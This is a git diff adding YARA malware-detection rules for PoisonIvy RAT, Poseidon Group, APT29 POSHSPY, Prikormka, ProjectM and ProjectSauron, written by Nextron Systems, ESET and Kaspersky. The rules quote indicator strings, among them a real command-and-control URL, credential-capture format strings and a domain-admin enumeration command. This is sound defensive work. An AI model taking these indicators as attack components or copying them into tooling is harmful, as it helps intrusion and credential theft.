+		$s6 = "SetServiceStatus" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 741 times */
+		$s7 = "OriginalFilename" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19040 times */
+		$s8 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 7 of them
+}
+
+rule PoisonIvy_Sample_5 {
+	meta:
+		description = "Detects PoisonIvy RAT sample set"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "545e261b3b00d116a1d69201ece8ca78d9704eb2"
+		id = "61f7efd4-745a-5f06-a66d-b4b2a2ecc614"
+	strings:
+		$s0 = "Microsoft Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '15.04' */
+		$s2 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s3 = "\\mspmsnsv.dll" ascii /* score: '11.005' */
+		$s4 = "\\sfc.exe" ascii /* score: '11.005' */
+		$s13 = "ServiceMain" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 322 times */
+		$s15 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s17 = "LookupPrivilegeValueA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 336 times */
+condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PoisonIvy_Sample_6 {
+	meta:
+		description = "Detects PoisonIvy RAT sample set"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash1 = "8c2630ab9b56c00fd748a631098fa4339f46d42b"
+		hash2 = "36b4cbc834b2f93a8856ff0e03b7a6897fb59bd3"
+		id = "f364fad0-3684-5500-b21b-396f1e259217"
+	strings:
+		$x1 = "124.133.252.150" fullword ascii /* score: '9.5' */
+		$x3 = "http://124.133.254.171/up/up.asp?id=%08x&pcname=%s" fullword ascii /* score: '24.01' */
+
+		$z1 = "\\temp\\si.txt" ascii /* PEStudio Blacklist: strings */ /* score: '27.01' */
+		$z2 = "Daemon Dynamic Link Library" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.02' */
+		$z3 = "Microsoft Windows CTF Loader" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.03' */
+		$z4 = "\\tappmgmts.dll" ascii /* score: '11.005' */
+		$z5 = "\\appmgmts.dll" ascii /* score: '11.0' */
+
+		$s0 = "%USERPROFILE%\\AppData\\Local\\Temp\\Low\\ctfmon.log" fullword ascii /* PEStudio Blacklist: strings */ /* score: '43.015' */
+		$s1 = "%USERPROFILE%\\AppData\\Local\\Temp\\ctfmon.tmp" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.015' */
+		$s2 = "\\temp\\ctfmon.tmp" ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+		$s3 = "SOFTWARE\\Classes\\http\\shell\\open\\commandV" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.025' */
+		$s4 = "CONNECT %s:%i HTTP/1.0" fullword ascii /* PEStudio Blacklist: strings */ /* score: '19.02' */
+		$s5 = "start read histry key" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.04' */
+		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii /* score: '18.03' */
+		$s7 = "[password]%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.025' */
+		$s8 = "Daemon.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.02' */
+		$s9 = "[username]%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '12.035' */
+		$s10 = "advpack" fullword ascii /* score: '7.005' */
+		$s11 = "%s%2.2X" fullword ascii /* score: '7.0' */
+		$s12 = "advAPI32" fullword ascii /* score: '6.015' */
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) ) or
+		( 8 of ($s*) ) or
+		( 1 of ($z*) and 3 of ($s*) )
+}
+
+rule PoisonIvy_Sample_7 {
+	meta:
+		description = "Detects PoisonIvy RAT sample set"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "9480cf544beeeb63ffd07442233eb5c5f0cf03b3"
+		id = "01224053-d95e-5144-981b-76cd7e57e1c3"
+	strings:
+		$s0 = "Microsoft Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '15.04' */
+		$s2 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s10 = "ServiceMain" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 322 times */
+		$s11 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s12 = "Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3 times */
+		$s13 = "Microsoft(R) Windows(R) Operating System" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 128 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-22
+	Identifier:
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PoisonIvy_RAT_ssMUIDLL {
+	meta:
+		description = "Detects PoisonIvy RAT DLL mentioned in Palo Alto Blog in April 2016"
+		author = "Florian Roth (Nextron Systems) (with the help of yarGen and Binarly)"
+		reference = "http://goo.gl/WiwtYT"
+		date = "2016-04-22"
+		hash1 = "7a424ad3f3106b87e8e82c7125834d7d8af8730a2a97485a639928f66d5f6bf4"
+		hash2 = "6eb7657603edb2b75ed01c004d88087abe24df9527b272605b8517a423557fe6"
+		hash3 = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+		hash4 = "8b805f508879ecdc9bba711cfbdd570740c4825b969c1b4db980c134ac8fef1c"
+		hash5 = "ac99d4197e41802ff9f8852577955950332947534d8e2a0e3b6c1dd1715490d4"
+		id = "f2535b70-cf17-5435-9fc8-2dfdf70d95ac"
+	strings:
+		$s1 = "ssMUIDLL.dll" fullword ascii
+
+		 // 0x10001f81 6a 00	push	0
+		 // 0x10001f83 c6 07 e9	mov	byte ptr [edi], 0xe9
+		 // 0x10001f86 ff d6	call	esi
+		 $op1 = { 6a 00 c6 07 e9 ff d6 } // sample=e9ccf4e139bbbd114b67cc3cee260d1cb638c9d0 address=0x10001f81
+		 // 0x100012a9 02 cb	add	cl, bl
+		 // 0x100012ab 6a 00	push	0
+		 // 0x100012ad 88 0f	mov	byte ptr [edi], cl
+		 // 0x100012af ff d6	call	esi
+		 // 0x100012b1 47	inc	edi
+		 // 0x100012b2 ff 4d fc	dec	dword ptr [ebp - 4]
+		 // 0x100012b5 75 ??	jne	0x10001290
+		 $op2 = { 02 cb 6a 00 88 0f ff d6 47 ff 4d fc 75 } // sample=e9ccf4e139bbbd114b67cc3cee260d1cb638c9d0 address=0x100012a9
+		 // 0x10001f93 6a 00	push	0
+		 // 0x10001f95 88 7f 02	mov	byte ptr [edi + 2], bh
+		 // 0x10001f98 ff d6	call	esi
+		 $op3 = { 6a 00 88 7f 02 ff d6 } // sample=e9ccf4e139bbbd114b67cc3cee260d1cb638c9d0 address=0x10001f93
+
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 20KB and ( all of ($op*) ) ) or ( all of them )
+}
diff --git a/yara-Neo23x0/apt_poisonivy_gen3.yar b/yara-Neo23x0/apt_poisonivy_gen3.yar
new file mode 100644
index 0000000..b9c2c96
--- /dev/null
+++ b/yara-Neo23x0/apt_poisonivy_gen3.yar
@@ -0,0 +1,32 @@
+
+rule PoisonIvy_Generic_3 {
+	meta:
+		description = "PoisonIvy RAT Generic Rule"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-05-14"
+		hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
+		id = "0f6a47ee-b741-59cc-b2d6-6bf3989ce8e7"
+	strings:
+		$k1 = "Tiger324{" fullword ascii
+		
+		$s2 = "WININET.dll" fullword ascii
+		$s3 = "mscoree.dll" fullword wide
+		$s4 = "WS2_32.dll" fullword
+		$s5 = "Explorer.exe" fullword wide
+		$s6 = "USER32.DLL"
+		$s7 = "CONOUT$"
+		$s8 = "login.asp"
+		
+		$h1 = "HTTP/1.0"
+		$h2 = "POST"
+		$h3 = "login.asp"
+		$h4 = "check.asp"
+		$h5 = "result.asp"
+		$h6 = "upload.asp"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and
+			( 
+				$k1 or all of ($s*) or all of ($h*)
+			)
+}
diff --git a/yara-Neo23x0/apt_poseidon_group.yar b/yara-Neo23x0/apt_poseidon_group.yar
new file mode 100644
index 0000000..b539303
--- /dev/null
+++ b/yara-Neo23x0/apt_poseidon_group.yar
@@ -0,0 +1,89 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-09
+	Identifier: Poseidon Group APT
+*/
+
+rule PoseidonGroup_Malware {
+	meta:
+		description = "Detects Poseidon Group Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		date = "2016-02-09"
+		modified = "2023-01-27"
+		score = 85
+		hash1 = "337e94119cfad0b3144af81b72ac3b2688a219ffa0bdf23ca56c7a68fbe0aea4"
+		hash2 = "344034c0bf9fcd52883dbc158abf6db687150d40a118d9cd6ebd843e186128d3"
+		hash3 = "432b7f7f7bf94260a58ad720f61d91ba3289bf0a9789fc0c2b7ca900788dae61"
+		hash4 = "8955df76182005a69f19f5421c355f1868efe65d6b9e0145625dceda94b84a47"
+		hash5 = "d090b1d77e91848b1e2f5690b54360bbbd7ef808d017304389b90a0f8423367f"
+		hash6 = "d7c8b47a0d0a9181fb993f17e165d75a6be8cf11812d3baf7cf11d085e21d4fb"
+		hash7 = "ded0ee29af97496f27d810f6c16d78a3031d8c2193d5d2a87355f3e3ca58f9b3"
+		id = "fe8b227a-d93d-5540-ba73-3f20358205f6"
+	strings:
+		$s1 = "c:\\winnt\\system32\\cmd.exe" fullword ascii
+		$s2 = "c:\\windows\\system32\\cmd.exe" fullword ascii
+		$s3 = "c:\\windows\\command.com" fullword ascii
+		$s4 = "copy \"%s\" \"%s\" /Y" fullword ascii
+		$s5 = "http://%s/files/" ascii
+		$s6 = "\"%s\". %s: \"%s\"." fullword ascii
+		$s7 = "0x0666" fullword ascii
+		$s8 = "----------------This_is_a_boundary$" fullword ascii
+		$s9 = "Server 2012" fullword ascii /* Goodware String - occured 1 times */
+		$s10 = "Server 2008" fullword ascii /* Goodware String - occured 1 times */
+		$s11 = "Server 2003" fullword ascii /* Goodware String - occured 1 times */
+
+		$a1 = "net.exe group \"Domain Admins\" /domain" fullword ascii
+		$a2 = "net.exe group \"Admins. do Dom" fullword ascii
+		$a3 = "(SVRID=%d)" fullword ascii
+		$a4 = "(TG=%d)" fullword ascii
+		$a5 = "(SVR=%s)" fullword ascii
+		$a6 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
+		$a7 = "net.exe localgroup Administradores" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 650KB and 6 of ($s*) ) or
+		( 4 of ($s*) and 1 of ($a*) )
+}
+
+rule PoseidonGroup_MalDoc_1 {
+	meta:
+		description = "Detects Poseidon Group - Malicious Word Document"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		date = "2016-02-09"
+		score = 80
+		hash = "0983526d7f0640e5765ded6be6c9e64869172a02c20023f8a006396ff358999b"
+		id = "ab26455a-d468-5a75-a6e2-61701ca3a1df"
+	strings:
+		$s1 = "c:\\cmd32dll.exe" fullword ascii
+	condition:
+		uint16(0) == 0xcfd0 and filesize < 500KB and all of them
+}
+
+rule PoseidonGroup_MalDoc_2 {
+	meta:
+		description = "Detects Poseidon Group - Malicious Word Document"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		date = "2016-02-09"
+		score = 70
+		hash1 = "3e4cacab0ff950da1c6a1c640fe6cf5555b99e36d4e1cf5c45f04a2048f7620c"
+		hash2 = "1f77475d7740eb0c5802746d63e93218f16a7a19f616e8fddcbff07983b851af"
+		hash3 = "f028ee20363d3a17d30175508bbc4738dd8e245a94bfb200219a40464dd09b3a"
+		hash4 = "ec309300c950936a1b9f900aa30630b33723c42240ca4db978f2ca5e0f97afed"
+		hash5 = "27449198542fed64c23f583617908c8648fa4b4633bacd224f97e7f5d8b18778"
+		hash6 = "1e62629dae05bf7ee3fe1346faa60e6791c61f92dd921daa5ce2bdce2e9d4216"
+		id = "9fc0f25e-809d-5803-be39-740ce3a3c85a"
+	strings:
+		$s0 = "{\\*\\generator Msftedit 5.41." ascii
+		$s1 = "Attachment 1: Complete Professional Background" ascii
+		$s2 = "E-mail:  \\cf1\\ul\\f1"
+		$s3 = "Education:\\par" ascii
+		$s5 = "@gmail.com" ascii
+	condition:
+		uint32(0) == 0x74725c7b and filesize < 500KB and 3 of them
+}
diff --git a/yara-Neo23x0/apt_poshspy.yar b/yara-Neo23x0/apt_poshspy.yar
new file mode 100644
index 0000000..b2ff3d4
--- /dev/null
+++ b/yara-Neo23x0/apt_poshspy.yar
@@ -0,0 +1,28 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-15
+   Identifier: APT29 POSHSPY
+   Reference: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule POSHSPY_Malware {
+   meta:
+      description = "Detects"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
+      date = "2017-07-15"
+      id = "7e908efc-0023-5be1-9871-8bfbf8b9e53a"
+   strings:
+      $x1 = "function sWP($cN, $pN, $aK, $aI)" fullword ascii
+      $x2 = "$aeK = [byte[]] (0x69, 0x87, 0x0b, 0xf2" ascii
+      $x3 = "(('variant', 'excretions', 'accumulators', 'winslow', 'whistleable', 'len',"
+      $x4 = "$cPairKey = \"BwIAAACkAABSU0EyAAQAAAEAA"
+      $x5 = "$exeRes = exePldRoutine"
+      $x6 = "ZgB1AG4AYwB0AGkAbwBuACAAcAB1AHIAZgBDAHIA"
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/apt_prikormka.yar b/yara-Neo23x0/apt_prikormka.yar
new file mode 100644
index 0000000..df593d6
--- /dev/null
+++ b/yara-Neo23x0/apt_prikormka.yar
@@ -0,0 +1,136 @@
+// Operation Groundbait yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2016, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+private rule PrikormkaDropper
+{
+    strings:
+        $kd1 = "KDSTORAGE" wide
+        $kd2 = "KDSTORAGE_64" wide
+        $kd3 = "KDRUNDRV32" wide
+        $kd4 = "KDRAR" wide
+
+        $bin1 = {69 65 04 15 00 14 1E 4A 16 42 08 6C 21 61 24 0F}
+        $bin2 = {76 6F 05 04 16 1B 0D 5E 0D 42 08 6C 20 45 18 16}
+        $bin3 = {4D 00 4D 00 43 00 00 00 67 00 75 00 69 00 64 00 56 00 47 00 41 00 00 00 5F 00 73 00 76 00 67 00}
+
+        $inj1 = "?AVCinj2008Dlg@@" ascii
+        $inj2 = "?AVCinj2008App@@" ascii
+    condition:
+        uint16(0) == 0x5a4d and ((any of ($bin*)) or (3 of ($kd*)) or (all of ($inj*)))
+}
+
+private rule PrikormkaModule
+{
+    strings:
+        // binary
+        $str1 = {6D 70 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+        $str2 = {68 6C 70 75 63 74 66 2E 64 6C 6C 00 43 79 63 6C 65}
+        $str3 = {00 6B 6C 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+        $str4 = {69 6F 6D 75 73 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67}
+        $str5 = {61 74 69 6D 6C 2E 64 6C 6C 00 4B 69 63 6B 49 6E 50 6F 69 6E 74}
+        $str6 = {73 6E 6D 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+        $str7 = {73 63 72 73 68 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+
+        // encrypted
+        $str8 = {50 52 55 5C 17 51 58 17 5E 4A}
+        $str9 = {60 4A 55 55 4E 53 58 4B 17 52 57 17 5E 4A}
+        $str10 = {55 52 5D 4E 5B 4A 5D 17 51 58 17 5E 4A}
+        $str11 = {60 4A 55 55 4E 61 17 51 58 17 5E 4A}
+        $str12 = {39 5D 17 1D 1C 0A 3C 57 59 3B 1C 1E 57 58 4C 54 0F}
+
+        // mutex
+        $str13 = "ZxWinDeffContex" ascii wide
+        $str14 = "Paramore756Contex43" wide
+        $str15 = "Zw_&one@ldrContext43" wide
+
+        // other
+        $str16 = "A95BL765MNG2GPRS"
+
+        // dll names
+        $str17 = "helpldr.dll" wide fullword
+        $str18 = "swma.dll" wide fullword
+        $str19 = "iomus.dll" wide fullword
+        $str20 = "atiml.dll"  wide fullword
+        $str21 = "hlpuctf.dll" wide fullword
+        $str22 = "hauthuid.dll" ascii wide fullword
+
+        // rbcon
+        $str23 = "[roboconid][%s]" ascii fullword
+        $str24 = "[objectset][%s]" ascii fullword
+        $str25 = "rbcon.ini" wide fullword
+
+        // files and logs
+        $str26 = "%s%02d.%02d.%02d_%02d.%02d.%02d.skw" ascii fullword
+        $str27 = "%02d.%02d.%02d_%02d.%02d.%02d.%02d.rem" wide fullword
+
+        // pdb strings
+        $str28 = ":\\!PROJECTS!\\Mina\\2015\\" ascii
+        $str29 = "\\PZZ\\RMO\\" ascii
+        $str30 = ":\\work\\PZZ" ascii
+        $str31 = "C:\\Users\\mlk\\" ascii
+        $str32 = ":\\W o r k S p a c e\\" ascii
+        $str33 = "D:\\My\\Projects_All\\2015\\" ascii
+        $str34 = "\\TOOLS PZZ\\Bezzahod\\" ascii
+
+    condition:
+        uint16(0) == 0x5a4d and (any of ($str*))
+}
+
+private rule PrikormkaEarlyVersion
+{
+    strings:
+        $str1 = "IntelRestore" ascii fullword
+        $str2 = "Resent" wide fullword
+        $str3 = "ocp8.1" wide fullword
+        $str4 = "rsfvxd.dat" ascii fullword
+        $str5 = "tsb386.dat" ascii fullword
+        $str6 = "frmmlg.dat" ascii fullword
+        $str7 = "smdhost.dll" ascii fullword
+        $str8 = "KDLLCFX" wide fullword
+        $str9 = "KDLLRUNDRV" wide fullword
+    condition:
+        uint16(0) == 0x5a4d and (2 of ($str*))
+}
+
+rule Prikormka
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2016/05/10"
+        Description = "Operation Groundbait"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+        id = "6073aa34-d385-5ae8-b97d-9b3d61015aae"
+    condition:
+        PrikormkaDropper or PrikormkaModule or PrikormkaEarlyVersion
+}
diff --git a/yara-Neo23x0/apt_project_m.yar b/yara-Neo23x0/apt_project_m.yar
new file mode 100644
index 0000000..526b382
--- /dev/null
+++ b/yara-Neo23x0/apt_project_m.yar
@@ -0,0 +1,51 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-26
+	Identifier: ProjectM
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ProjectM_DarkComet_1 {
+	meta:
+		description = "Detects ProjectM Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
+		date = "2016-03-26"
+		modified = "2023-01-27"
+		hash = "cc488690ce442e9f98bac651218f4075ca36c355d8cd83f7a9f5230970d24157"
+		id = "6de74d73-f9b2-5e7f-b15e-f850425d849c"
+	strings:
+		$x1 = "DarkO\\_2" fullword ascii
+
+		$a1 = "AVICAP32.DLL" fullword ascii
+		$a2 = "IDispatch4" fullword ascii
+		$a3 = "FLOOD/" fullword ascii
+		$a4 = "T<-/HTTP://" ascii
+		$a5 = "infoes" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and 4 of them ) or ( all of them )
+}
+
+rule ProjectM_CrimsonDownloader {
+	meta:
+		description = "Detects ProjectM Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
+		date = "2016-03-26"
+		hash = "dc8bd60695070152c94cbeb5f61eca6e4309b8966f1aa9fdc2dd0ab754ad3e4c"
+		id = "2e0658c9-a93d-5eef-93a2-eb1ab29acaee"
+	strings:
+		$x1 = "E:\\Projects\\m_project\\main\\mj shoaib"
+
+		$s1 = "\\obj\\x86\\Debug\\secure_scan.pdb" ascii
+		$s2 = "secure_scan.exe" fullword wide
+		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|mswall" fullword wide
+		$s4 = "secure_scan|mswall" fullword wide
+		$s5 = "[Microsoft-Security-Essentials]" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and $x1 ) or ( all of them )
+}
diff --git a/yara-Neo23x0/apt_project_sauron.yara b/yara-Neo23x0/apt_project_sauron.yara
new file mode 100644
index 0000000..9fdfea5
--- /dev/null
+++ b/yara-Neo23x0/apt_project_sauron.yara
@@ -0,0 +1,144 @@
+import "pe"
+import "math"
+
+rule apt_ProjectSauron_pipe_backdoor  {
+	meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect ProjectSauron pipe backdoors"
+		version = "1.0"
+		reference = "https://securelist.com/blog/"
+		id = "5a1dd4b3-a03c-51bb-a7bc-25729b487f70"
+	strings:
+		$a1 = "CreateNamedPipeW" fullword ascii
+		$a2 = "SetSecurityDescriptorDacl" fullword ascii
+		$a3 = "GetOverlappedResult" fullword ascii
+		$a4 = "TerminateThread" fullword ascii
+		$a5 = "%s%s%X" fullword wide
+	condition:
+		uint16(0) == 0x5A4D
+		and (all of ($a*))
+		and filesize < 100000
+}
+
+rule apt_ProjectSauron_encrypted_LSA  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron encrypted LSA samples"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+	id = "f6fd8619-60f0-5c0d-aa66-cd0e154de63c"
+strings:
+	$a1 = "EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492" fullword ascii
+	$a2 = "\\Device\\NdisRaw_" ascii
+	$a3 = "\\\\.\\GLOBALROOT\\Device\\{8EDB44DC-86F0-4E0E-8068-BD2CABA4057A}" fullword wide
+	$a4 = "Global\\{a07f6ba7-8383-4104-a154-e582e85a32eb}" fullword wide
+	$a5 = "Missing function %S::#%d" fullword wide
+	$a6 = {8945D08D8598FEFFFF2BD08945D88D45BC83C20450C745C0030000008975C48955DCFF55FC8BF88D8F0000003A83F90977305333DB53FF15}
+	$a7 = {488D4C24304889442450488D452044886424304889442460488D4520C7442434030000002BD848897C243844896C244083C308895C246841FFD68D880000003A8BD883F909772DFF}
+condition:
+	uint16(0) == 0x5A4D
+	and (any of ($a*) or
+	(
+		pe.exports("InitializeChangeNotify") and
+		pe.exports("PasswordChangeNotify") and
+		math.entropy(0x400, filesize) >= 7.5
+	))
+	and filesize < 1000000
+}
+
+rule apt_ProjectSauron_encrypted_SSPI  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect encrypted ProjectSauron SSPI samples"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+	id = "43c0e772-46d2-510e-bea1-6f505199f38c"
+condition:
+	uint16(0) == 0x5A4D and
+	filesize < 1000000 and
+	pe.exports("InitSecurityInterfaceA") and
+	pe.characteristics & pe.DLL and
+	(pe.machine == pe.MACHINE_AMD64 or pe.machine == pe.MACHINE_IA64) and
+	math.entropy(0x400, filesize) >= 7.5
+}
+
+rule apt_ProjectSauron_MyTrampoline  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron MyTrampoline module"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+	id = "b4f2cabf-11da-5fa1-8c23-0a177f8a4741"
+strings:
+	$a1 = ":\\System Volume Information\\{" wide
+	$a2 = "\\\\.\\PhysicalDrive%d" wide
+	$a3 = "DMWndClassX%d"
+
+	$b1 = "{774476DF-C00F-4e3a-BF4A-6D8618CFA532}" ascii wide
+	$b2 = "{820C02A4-578A-4750-A409-62C98F5E9237}" ascii wide
+condition:
+	uint16(0) == 0x5A4D and
+	filesize < 5000000 and
+	(all of ($a*) or any of ($b*))
+}
+
+rule apt_ProjectSauron_encrypted_container  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron samples encrypted container"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+	id = "4462ebd9-24eb-570a-94b8-6fa6bf2a5a63"
+strings:
+
+	$vfs_header = {02 AA 02 C1 02 0?}
+	$salt = {91 0A E0 CC 0D FE CE 36 78 48 9B 9C 97 F7 F5 55}
+
+condition:
+	uint16(0) == 0x5A4D
+	and ((@vfs_header < 0x4000) or $salt) and
+	math.entropy(0x400, filesize) >= 6.5 and
+	(filesize > 0x400) and filesize < 10000000
+}
+
+rule apt_ProjectSauron_encryption  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron string encryption"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+
+	id = "b3139045-54f5-5d59-980b-8510faa9ad0e"
+strings:
+
+	$a1 = {81??02AA02C175??8B??0685}
+	$a2 = {918D9A94CDCC939A93939BD18B9AB8DE9C908DAF8D9B9BBE8C8C9AFF}
+	$a3 = {803E225775??807E019F75??807E02BE75??807E0309}
+
+condition:
+	filesize < 5000000 and
+	any of ($a*)
+}
+
+rule apt_ProjectSauron_generic_pipe_backdoor {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron generic pipe backdoors"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+	id = "77a82c67-7ee1-5d1f-ad75-28ce174e41bc"
+strings:
+	$a = { C7 [2-3] 32 32 32 32 E8 }
+	$b = { 42 12 67 6B }
+	$c = { 25 31 5F 73 }
+	$d = "rand"
+	$e = "WS2_32"
+
+condition:
+	uint16(0) == 0x5A4D and
+	(all of them) and
+	filesize < 400000
+}
diff --git a/yara-Neo23x0/apt_project_sauron_extras.yar b/yara-Neo23x0/apt_project_sauron_extras.yar
new file mode 100644
index 0000000..f5b4b3d
--- /dev/null
+++ b/yara-Neo23x0/apt_project_sauron_extras.yar
@@ -0,0 +1,261 @@
